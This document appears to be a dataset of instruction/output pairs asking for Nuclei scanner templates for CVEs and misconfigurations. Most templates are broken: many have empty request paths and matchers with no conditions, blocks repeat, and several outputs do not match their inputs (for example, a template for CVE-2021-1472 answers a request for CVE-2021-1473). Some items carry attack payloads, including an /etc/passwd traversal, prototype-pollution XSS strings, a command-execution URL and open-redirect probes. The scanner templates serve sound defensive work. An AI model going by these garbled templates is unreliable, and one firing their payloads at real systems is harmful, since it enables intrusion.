Instruction: Generate a Nuclei template for CVE-2024-46506

Input:
Title: Vulnerability (CWE-306) in netalertx netalertx
Summary: NetAlertX 23.01.14 through 24.x before 24.10.12 allows unauthenticated command injection via settings update because function=savesettings lacks an authentication requirement, as exploited in the wild in May 2025. This is related to settings.php and util.php.
Vulnerability Type: Vulnerability (CWE-306)
Severity: critical
Affected Products: netalertx netalertx
Indicators: error, vulnerability detected

Output:
id: CVE-2024-46506

info:
  name: NetAlertX 23.01.14–24.x < 24.10.12 - Remote Code Execution
  author: s4e-io
  severity: critical
  description: NetAlertX 23.01.14 through 24.x before 24.10.12 allows unauthenticated command injection via settings update because function=savesettings lacks an authentication requirement, as exploited in the wild in May 2025. This is related to settings.php and util.php.
  tags: cve,cve2024,netalertx,rce,intrusive,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for CVE-2024-39887

Input:
Title: SQL Injection in apache superset
Summary: An SQL Injection vulnerability in Apache Superset exists due to improper neutralization of special elements used in SQL commands. Specifically, certain engine-specific functions are not checked, which allows attackers to bypass Apache Superset's SQL authorization. To mitigate this, a new configuration key named DISALLOWED_SQL_FUNCTIONS has been introduced. This key disallows the use of the following PostgreSQL functions: version, query_to_xml, inet_server_addr, and inet_client_addr. Additional functions can be added to this list for increased protection.

This issue affects Apache Superset: before 4.0.2.

Users are recommended to upgrade to version 4.0.2, which fixes the issue.
Vulnerability Type: SQL Injection
Severity: medium
Affected Products: apache superset
Indicators: error, vulnerability detected

Output:
id: CVE-2024-39887

info:
  name: Apache Superset < 4.0.2 - SQL Injection
  author: iamnoooob,rootxharsh,pdresearch
  severity: medium
  description: An SQL Injection vulnerability in Apache Superset exists due to improper neutralization of special elements used in SQL commands. Specifically, certain engine-specific functions are not checked, which allows attackers to bypass Apache Superset's SQL authorization. To mitigate this, a new configuration key named DISALLOWED_SQL_FUNCTIONS has been introduced. This key disallows the use of the following PostgreSQL functions- version, query_to_xml, inet_server_addr, and inet_client_addr. Additional functions can be added to this list for increased protection.
  tags: cve,cve2024,apache,superset,sqli,authenticated,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for: Wing FTP Service - Detect

Input:
Title: Wing FTP Service - Detect
Summary: Wing FTP Service - Detect. The File Transfer Protocol (FTP) is a standard network protocol used to transfer computer files between a client and server on a computer network.

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: wing-ftp-service-detect

info:
  name: Wing FTP Service - Detect
  author: ritikchaddha
  severity: info
  description: The File Transfer Protocol (FTP) is a standard network protocol used to transfer computer files between a client and server on a computer network.
  tags: tech,ftp,wing,detect,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "Wing FTP Server"
        part: header


Instruction: Generate a Nuclei template for CVE-2021-30151

Input:
Title: Cross-Site Scripting (XSS) in contribsys sidekiq and others
Summary: Sidekiq through 5.1.3 and 6.x through 6.2.0 allows XSS via the queue name of the live-poll feature when Internet Explorer is used.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: contribsys sidekiq, debian debian_linux
Indicators: error, vulnerability detected

Output:
id: CVE-2021-30151

info:
  name: Sidekiq <=6.2.0 - Cross-Site Scripting
  author: DhiyaneshDk
  severity: medium
  description: Sidekiq through 5.1.3 and 6.x through 6.2.0 contains a cross-site scripting vulnerability via the queue name of the live-poll feature when Internet Explorer is used.
  tags: cve2021,cve,xss,sidekiq,authenticated,contribsys,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "onmouseover="alert(document.domain)"
          - "sidekiq"
        part: body
        condition: and
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Atom remote-ssh ftpconfig Exposure

Input:
Title: Atom remote-ssh ftpconfig Exposure
Summary: Atom remote-ssh ftpconfig Exposure. Created by remote-ssh for Atom, contains SFTP/SSH server details and credentials
Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: ftpconfig

info:
  name: Atom remote-ssh ftpconfig Exposure
  author: geeknik,DhiyaneshDK
  severity: high
  description: Created by remote-ssh for Atom, contains SFTP/SSH server details and credentials
  tags: atom,ftp,config,exposure,files,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/.ftpconfig"
    matchers:
      - type: word
        words:
          - ""protocol":"
          - ""host":"
          - ""user":"
          - ""passphrase":"
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2021-1473

Input:
Title: Buffer Overflow in cisco rv340_firmware and others
Summary: Multiple vulnerabilities exist in the web-based management interface of Cisco Small Business RV Series Routers. A remote attacker could execute arbitrary commands or bypass authentication and upload files on an affected device. For more information about these vulnerabilities, see the Details section of this advisory.
Vulnerability Type: Buffer Overflow
Severity: medium
Affected Products: cisco rv340_firmware, cisco rv340w_firmware, cisco rv345_firmware
Indicators: error, vulnerability detected

Output:
id: CVE-2021-1472

info:
  name: Cisco Small Business RV Series - OS Command Injection
  author: gy741
  severity: critical
  description: Cisco Small Business RV Series routers RV16X/RV26X versions 1.0.01.02 and before and RV34X versions 1.0.03.20 and before contain multiple OS command injection vulnerabilities in the web-based management interface. A remote attacker can execute arbitrary OS commands via the sessionid cookie or bypass authentication and upload files on an affected device.
  tags: cve2021,cve,packetstorm,seclists,auth-bypass,injection,cisco,rce,intrusive,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "http"
        part: interactsh_protocol
      - type: word
        words:
          - ""jsonrpc":"
        part: body


Instruction: Generate a Nuclei template for: OpenMetadata - Admin User Enumeration

Input:
Title: OpenMetadata - Admin User Enumeration
Summary: OpenMetadata - Admin User Enumeration. Enumerates the admin users registered on OpenMetadata server.

Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: openmetadata-admin-userenum

info:
  name: OpenMetadata - Admin User Enumeration
  author: icarot
  severity: medium
  description: Enumerates the admin users registered on OpenMetadata server.
  tags: openmetadata,open-metadata,userenum,discovery

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - ""adminPrincipals":"
          - ""principalDomain""
        part: body
        condition: and
      - type: word
        words:
          - "application/json"
        part: content_type
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2021-20086

Input:
Title: Vulnerability (CWE-1321) in jquery-bbq_project jquery-bbq
Summary: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') in jquery-bbq 1.2.1 allows a malicious user to inject properties into Object.prototype.
Vulnerability Type: Vulnerability (CWE-1321)
Severity: high
Affected Products: jquery-bbq_project jquery-bbq
Indicators: error, vulnerability detected

Output:
id: CVE-2021-20086

info:
  name: Odoo Apps - Cross-Site Scripting via Prototype Pollution
  author: 1337rokudenashi
  severity: high
  description: jquery-bbq 1.2.1 contains a prototype pollution caused by improperly controlled modification of object prototype attributes, letting malicious users inject properties into Object.prototype, exploit requires malicious user interaction.
  tags: cve,cve2021,odoo,xss,proto,jquery,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?__proto__%5Bcontext%5D=%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E&__proto__%5Bjquery%5D=x"
      - "{{BaseURL}}/?constructor%5Bprototype%5D%5Bcontext%5D=%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E&constructor%5Bprototype%5D%5Bjquery%5D=x"
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for CVE-2010-1979

Input:
Title: Path Traversal in affiliatefeeds com_datafeeds
Summary: Directory traversal vulnerability in the Affiliate Datafeeds (com_datafeeds) component build 880 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
Vulnerability Type: Path Traversal
Severity: medium
Affected Products: affiliatefeeds com_datafeeds
Indicators: error, vulnerability detected

Output:
id: CVE-2010-1979

info:
  name: Joomla! Component Affiliate Datafeeds 880 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Affiliate Datafeeds (com_datafeeds) component build 880 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  tags: cve,cve2010,edb,joomla,lfi,affiliatefeeds,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_datafeeds&controller=../../../../../../../../../../etc/passwd%00"
    matchers:
      - type: regex
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2024-9061

Input:
Title: Code Injection in themehunk wp_popup_builder
Summary: The The WP Popup Builder – Popup Forms and Marketing Lead Generation plugin for WordPress is vulnerable to arbitrary shortcode execution via the wp_ajax_nopriv_shortcode_Api_Add AJAX action in all versions up to, and including, 1.3.5. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes. NOTE: This vulnerability was partially fixed in version 1.3.5 with a nonce check, which effectively prevented access to the affected function. However, version 1.3.6 incorporates the correct authorization check to prevent unauthorized access.
Vulnerability Type: Code Injection
Severity: high
Affected Products: themehunk wp_popup_builder
Indicators: unauthorized

Output:
id: CVE-2024-9061

info:
  name: WP Popup Builder Popup Forms and Marketing Lead Generation <= 1.3.5 - Arbitrary Shortcode Execution
  author: s4e-io
  severity: high
  description: The The WP Popup Builder Popup Forms and Marketing Lead Generation plugin for WordPress is vulnerable to arbitrary shortcode execution via the wp_ajax_nopriv_shortcode_Api_Add AJAX action in all versions up to, and including, 1.3.5. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.
  tags: cve,cve2024,wp,wordpress,wp-plugin,wp-popup-builder,shortcode,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for: McAfee ePolicy Orchestrator - Arbitrary File Upload

Input:
Title: McAfee ePolicy Orchestrator - Arbitrary File Upload
Summary: McAfee ePolicy Orchestrator - Arbitrary File Upload. McAfee ePolicy Orchestrator (ePO) is vulnerable to a ZipSlip vulnerability which allows arbitrary file upload when archives are unpacked if the names of the packed files are not properly sanitized. An attacker can create archives with files containing "../" in their names, making it possible to upload arbitrary files to arbitrary directories or overwrite existing ones during archive extraction.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: mcafee-epo-rce

info:
  name: McAfee ePolicy Orchestrator - Arbitrary File Upload
  author: dwisiswant0
  severity: high
  description: McAfee ePolicy Orchestrator (ePO) is vulnerable to a ZipSlip vulnerability which allows arbitrary file upload when archives are unpacked if the names of the packed files are not properly sanitized. An attacker can create archives with files containing "../" in their names, making it possible to upload arbitrary files to arbitrary directories or overwrite existing ones during archive extraction.
  tags: mcafee,rce,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/stat.jsp?cmd=chcp+437+%7c+dir"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "text/html"
        part: header
      - type: regex
        part: body


Instruction: Generate a Nuclei template for: Remote Shell Access Allowed

Input:
Title: Remote Shell Access Allowed
Summary: Remote Shell Access Allowed. Checks if remote shell access via WinRM is allowed, which can be exploited.
Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: winrm-remote-shell-access-allowed

info:
  name: Remote Shell Access Allowed
  author: princechaddha
  severity: high
  description: Checks if remote shell access via WinRM is allowed, which can be exploited.
  tags: winrm,remote-shell,code,windows-audit

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2022-31181

Input:
Title: Vulnerability (CWE-74) in prestashop prestashop
Summary: PrestaShop is an Open Source e-commerce platform. In versions from 1.6.0.10 and before 1.7.8.7 PrestaShop is subject to an SQL injection vulnerability which can be chained to call PHP's Eval function on attacker input. The problem is fixed in version 1.7.8.7. Users are advised to upgrade. Users unable to upgrade may delete the MySQL Smarty cache feature.
Vulnerability Type: Vulnerability (CWE-74)
Severity: critical
Affected Products: prestashop prestashop
Indicators: error, vulnerability detected

Output:
id: CVE-2022-31181

info:
  name: PrestaShop - SQL Injection to Eval Injection
  author: daffainfo
  severity: critical
  description: PrestaShop versions from 1.6.0.10 and before 1.7.8.7 contain an SQL injection caused by unsanitized user input, letting attackers chain the vulnerability to call PHP's Eval function, exploit requires attacker to send malicious input.
  tags: cve,cve2022,prestashop,rce,intrusive,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - ""id_wishlist""
          - ""nbProducts""
          - ""name""
        part: body
        condition: and
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - ""sort_orders""
          - ""entity""
          - ""field""
        part: body
        condition: and
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "prestashop"
        part: body
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - ""sort_orders""
          - ""entity""
          - ""field""
        part: body
        condition: and
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "prestashop"
          - "c8c605999f3d8352d7bb792cf3fdb25b"
        condition: and
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - ""sort_orders""
          - ""entity""
          - ""field""
        part: body
        condition: and
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "prestashop"
      - type: word
        words:
          - "c8c605999f3d8352d7bb792cf3fdb25b"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2022-37932

Input:
Title: Unknown Vulnerability in hpe officeconnect_1820_j9979a_firmware and others
Summary: A potential security vulnerability has been identified in Hewlett Packard Enterprise OfficeConnect 1820, 1850, and 1920S Network switches. The vulnerability could be remotely exploited to allow authentication bypass. HPE has made the following software updates to resolve the vulnerability in Hewlett Packard Enterprise OfficeConnect 1820, 1850 and 1920S Network switches versions: Prior to PT.02.14; Prior to PC.01.22; Prior to PO.01.21; Prior to PD.02.22;

Vulnerability Type: Unknown Vulnerability
Severity: high
Affected Products: hpe officeconnect_1820_j9979a_firmware, hpe officeconnect_1820_j9982a_firmware, hpe officeconnect_1820_j9980a_firmware
Indicators: error, vulnerability detected

Output:
id: CVE-2022-37932

info:
  name: HP Switch - Authentication Bypass
  author: Phulelouch
  severity: high
  description: A potential security vulnerability has been identified in Hewlett Packard Enterprise OfficeConnect 1820, 1850, and 1920S Network switches. The vulnerability could be remotely exploited to allow authentication bypass. HPE has made the following software updates to resolve the vulnerability in Hewlett Packard Enterprise OfficeConnect 1820, 1850 and 1920S Network switches versions- Prior to PT.02.14; Prior to PC.01.22; Prior to PO.01.21; Prior to PD.02.22;
  tags: cve,cve2022,hp,officeconnect,auth-bypass,intrusive,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for: Cloud CDN SSL/TLS Not Enforced

Input:
Title: Cloud CDN SSL/TLS Not Enforced
Summary: Cloud CDN SSL/TLS Not Enforced. Ensure that Google Cloud CDN backend bucket origins enforce HTTPS using SSL/TLS certificates in order to handle encrypted traffic. This helps to protect the integrity and confidentiality of the transmitted information.

Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: gcloud-cdn-ssl-enforcement

info:
  name: Cloud CDN SSL/TLS Not Enforced
  author: princechaddha
  severity: medium
  description: Ensure that Google Cloud CDN backend bucket origins enforce HTTPS using SSL/TLS certificates in order to handle encrypted traffic. This helps to protect the integrity and confidentiality of the transmitted information.
  tags: cloud,devops,gcp,gcloud,cloud-cdn,gcp-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2023-43654

Input:
Title: Vulnerability (CWE-918) in pytorch torchserve
Summary: TorchServe is a tool for serving and scaling PyTorch models in production. TorchServe default configuration lacks proper input validation, enabling third parties to invoke remote HTTP download requests and write files to the disk. This issue could be taken advantage of to compromise the integrity of the system and sensitive data. This issue is present in versions 0.1.0 to 0.8.1. A user is able to load the model of their choice from any URL that they would like to use. The user of TorchServe is responsible for configuring both the allowed_urls and specifying the model URL to be used. A pull request to warn the user when the default value for allowed_urls is used has been merged in PR #2534. TorchServe release 0.8.2 includes this change. Users are advised to upgrade. There are no known workarounds for this issue.
Vulnerability Type: Vulnerability (CWE-918)
Severity: critical
Affected Products: pytorch torchserve
Indicators: error, vulnerability detected

Output:
id: CVE-2023-43654

info:
  name: PyTorch TorchServe SSRF
  author: DhiyaneshDk
  severity: critical
  description: TorchServe is a tool for serving and scaling PyTorch models in production. TorchServe default configuration lacks proper input validation, enabling third parties to invoke remote HTTP download requests and write files to the disk. This issue could be taken advantage of to compromise the integrity of the system and sensitive data. This issue is present in versions 0.1.0 to 0.8.1. A user is able to load the model of their choice from any URL that they would like to use. The user of TorchServe is responsible for configuring both the allowed_urls and specifying the model URL to be used. A pull request to warn the user when the default value for allowed_urls is used has been merged in PR #2534. TorchServe release 0.8.2 includes this change. Users are advised to upgrade. There are no known workarounds for this issue.
  tags: cve,cve2023,pytorch,oast,ssrf,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "http"
        part: interactsh_protocol
      - type: word
        words:
          - "User-Agent: Java"
        part: interactsh_request
      - type: word
        words:
          - "application/json"
        part: content_type


Instruction: Generate a Nuclei template for: Flask Werkzeug Debugger Exposure

Input:
Title: Flask Werkzeug Debugger Exposure
Summary: Flask Werkzeug Debugger Exposure. Flask Werkzeug Debugger is exposed.
Vulnerability Type: Security Check
Severity: low
Indicators: vulnerability detected

Output:
id: flask-werkzeug-debug

info:
  name: Flask Werkzeug Debugger Exposure
  author: DhiyaneshDk
  severity: low
  description: Flask Werkzeug Debugger is exposed.
  tags: werkzeug,exposure,debug,misconfig,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "Werkzeug powered traceback interpreter"
        part: body
      - type: status
        status:
          - 500


Instruction: Generate a Nuclei template for: Github pages config file

Input:
Title: Github pages config file
Summary: Github pages config file. Find github pages config file.
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: github-page-config

info:
  name: Github pages config file
  author: hahwul
  severity: info
  description: Find github pages config file.
  tags: github,exposure,config,files,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/_config.yml"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "jekyll"
          - "title"
          - "baseurl"
        condition: and


Instruction: Generate a Nuclei template for: Node ecstatic Directory Listing

Input:
Title: Node ecstatic Directory Listing
Summary: Node ecstatic Directory Listing. Directiory listing enabled in Node ecstatic.
Vulnerability Type: Security Check
Severity: low
Indicators: vulnerability detected

Output:
id: node-ecstatic-listing

info:
  name: Node ecstatic Directory Listing
  author: DhiyaneshDK
  severity: low
  description: Directiory listing enabled in Node ecstatic.
  tags: node,js,listing,ecstatic,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/img/"
    matchers:
      - type: word
        words:
          - "<title>Index of /img/</title>"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: jamf-panel

info:
  name: Jamf MDM Login Panel - Detect
  author: pdteam,idealphase
  severity: info
  description: Jamf Mobile Device Management login panel was detected.
  tags: jamf,panel,mdm,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "Jamf Pro Login"
          - "Jamf Cloud Node"
        part: response
        condition: or


Instruction: Generate a Nuclei template for CVE-2017-18556

Input:
Title: Cross-Site Scripting (XSS) in bestwebsoft google_analytics
Summary: The bws-google-analytics plugin before 1.7.1 for WordPress has multiple XSS issues.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: bestwebsoft google_analytics
Indicators: error, vulnerability detected

Output:
id: CVE-2017-18556

info:
  name: Google Analytics by BestWebSoft < 1.7.1 - Cross-Site Scripting
  author: luisfelipe146
  severity: medium
  description: The bws-google-analytics plugin before 1.7.1 for WordPress has multiple XSS issues.
  tags: cve2017,cve,wordpress,wp-plugin,xss,bws-google-analytics,wpscan,authenticated,bestwebsoft,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for: Nacos < 2.2.0 - Authentication Bypass

Input:
Title: Nacos < 2.2.0 - Authentication Bypass
Summary: Nacos < 2.2.0 - Authentication Bypass. The authentication function of Nacos is can be bypass through default JWT secret.

Vulnerability Type: Security Check
Severity: critical
Indicators: vulnerability detected

Output:
id: nacos-authentication-bypass

info:
  name: Nacos < 2.2.0 - Authentication Bypass
  author: Esonhugh
  severity: critical
  description: The authentication function of Nacos is can be bypass through default JWT secret.
  tags: auth-bypass,nacos,misconfig,jwt,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/nacos/v1/auth/users?pageNo=1&pageSize=10&accessToken={{token}}"
      - "{{BaseURL}}/v1/auth/users?pageNo=1&pageSize=10&accessToken={{token}}"
    matchers:
      - type: word
        words:
          - ""username":"
          - ""password":"
        condition: and
      - type: word
        words:
          - "application/json"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Open Redirect

Input:
Title: Open Redirect (CWE-601)
Summary: The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect.
Vulnerability Type: Open Redirect
Severity: high
Indicators: vulnerability detected, error

Output:
id: httpbin-open-redirect

info:
  name: HTTPBin - Open Redirect
  author: Adam Crosser
  severity: medium
  description: HTTPBin contains an open redirect vulnerability. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  tags: redirect,httpbin,oss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/redirect-to?url=https%3A%2F%2Finteract.sh"
    matchers:
      - type: dsl
      - type: status
        status:
          - 302


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: joget-panel

info:
  name: Joget Panel - Detect
  author: Podalirius
  severity: info
  description: Joget panel was detected.
  tags: panel,joget,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/jw/web/;"
    matchers:
      - type: word
        words:
          - "System Error"
      - type: status
        status:
          - 500


Instruction: Generate a Nuclei template for: Inspur Clusterengine 4 - Default Admin Login

Input:
Title: Inspur Clusterengine 4 - Default Admin Login
Summary: Inspur Clusterengine 4 - Default Admin Login. Inspur Clusterengine version 4 default admin login credentials were successful.
Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: inspur-clusterengine-default-login

info:
  name: Inspur Clusterengine 4 - Default Admin Login
  author: ritikchaddha
  severity: high
  description: Inspur Clusterengine version 4 default admin login credentials were successful.
  tags: default-login,inspur,clusterengine,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - ""exitcode":0"
        part: body
      - type: word
        words:
          - "username=admin|pwd"
        part: header
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2023-1408

Input:
Title: Unknown Vulnerability in video_list_manager_project video_list_manager
Summary: The Video List Manager WordPress plugin through 1.7 does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high privilege users such as admin
Vulnerability Type: Unknown Vulnerability
Severity: high
Affected Products: video_list_manager_project video_list_manager
Indicators: error, vulnerability detected

Output:
id: CVE-2023-1408

info:
  name: Video List Manager <= 1.7 - SQL Injection
  author: r3Y3r53
  severity: high
  description: The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high privilege users such as admin.
  tags: time-based-sqli,cve,cve2023,wpscan,sqli,wordpress,wp-plugin,wp,authenticated,video_list_manager_project,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: usa-life

info:
  name: USA Life User Name Information - Detect
  author: dwisiswant0
  severity: info
  description: USA Life user name information check was conducted.
  tags: osint,osint-social,usa-life,discovery

http:
  - method: GET
    path:
      - "https://usa.life/{{user}}"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Please log in to like, share and comment"
        part: body


Instruction: Generate a Nuclei template for: OpenEMR Setup Installation Page - Exposure

Input:
Title: OpenEMR Setup Installation Page - Exposure
Summary: OpenEMR Setup Installation Page - Exposure. Detects exposed OpenEMR setup installation pages which could allow unauthorized access or information disclosure.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: openemr-setup-installer

info:
  name: OpenEMR Setup Installation Page - Exposure
  author: DhiyaneshDK
  severity: high
  description: Detects exposed OpenEMR setup installation pages which could allow unauthorized access or information disclosure.
  tags: misconfig,install,exposure,openemr,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/setup.php"
    matchers:
      - type: word
        words:
          - "<title>OpenEMR Setup Tool</title>"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Open Redirect

Input:
Title: Open Redirect (CWE-601)
Summary: The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect.
Vulnerability Type: Open Redirect
Severity: high
Indicators: vulnerability detected, error

Output:
id: pollbot-redirect

info:
  name: Mozilla Pollbot - Open Redirect
  author: Evan Rubinstien
  severity: medium
  description: Mozilla Pollbot contains an open redirect vulnerability. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  tags: redirect,mozilla,pollbot,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/%0A/interact.sh/"
    matchers:
      - type: regex
        part: header
      - type: status
        status:
          - 301


Instruction: Generate a Nuclei template for CVE-2022-24990

Input:
Title: Vulnerability (CWE-306) in terra-master terramaster_operating_system
Summary: TerraMaster NAS 4.2.29 and earlier allows remote attackers to discover the administrative password by sending "User-Agent: TNAS" to module/api.php?mobile/webNasIPS and then reading the PWD field in the response.
Vulnerability Type: Vulnerability (CWE-306)
Severity: high
Affected Products: terra-master terramaster_operating_system
Indicators: error, vulnerability detected

Output:
id: CVE-2022-24990

info:
  name: TerraMaster TOS < 4.2.30 Server Information Disclosure
  author: dwisiswant0
  severity: high
  description: TerraMaster NAS devices running TOS prior to version 4.2.30 are vulnerable to information disclosure.
  tags: cve,cve2022,packetstorm,terramaster,exposure,kev,terra-master,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/module/api.php?mobile/webNasIPS"
    matchers:
      - type: word
        words:
          - "application/json"
          - "TerraMaster"
        part: header
        condition: and
      - type: regex
        part: body
        condition: or
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Chef.io Login Check

Input:
Title: Chef.io Login Check
Summary: Chef.io Login Check. Checks for a valid chef.io account.
Vulnerability Type: Security Check
Severity: critical
Indicators: vulnerability detected

Output:
id: chefio-login-check

info:
  name: Chef.io Login Check
  author: parthmalhotra,pdresearch
  severity: critical
  description: Checks for a valid chef.io account.
  tags: cloud,creds-stuffing,login-check,chefio,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "Location: https://api.chef.io/login-success"
        part: header
      - type: status
        status:
          - 302


Instruction: Generate a Nuclei template for CVE-2022-23348

Input:
Title: Vulnerability (CWE-916) in bigantsoft bigant_server
Summary: BigAnt Software BigAnt Server v5.6.06 was discovered to utilize weak password hashes.
Vulnerability Type: Vulnerability (CWE-916)
Severity: medium
Affected Products: bigantsoft bigant_server
Indicators: error, vulnerability detected

Output:
id: CVE-2022-23348

info:
  name: BigAnt Server 5.6.06 - Improper Access Control
  author: arafatansari
  severity: medium
  description: BigAnt Server 5.6.06 is susceptible to improper access control. The software utililizes weak password hashes. An attacker can craft a password hash and thereby possibly possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  tags: cve,cve2022,bigant,unauth,exposure,bigantsoft,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/Runtime/Data/ms_admin.php"
    matchers:
      - type: word
        words:
          - ""user_name";"
          - ""user_pwd";"
          - ""user_id";"
        part: body
        condition: and
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


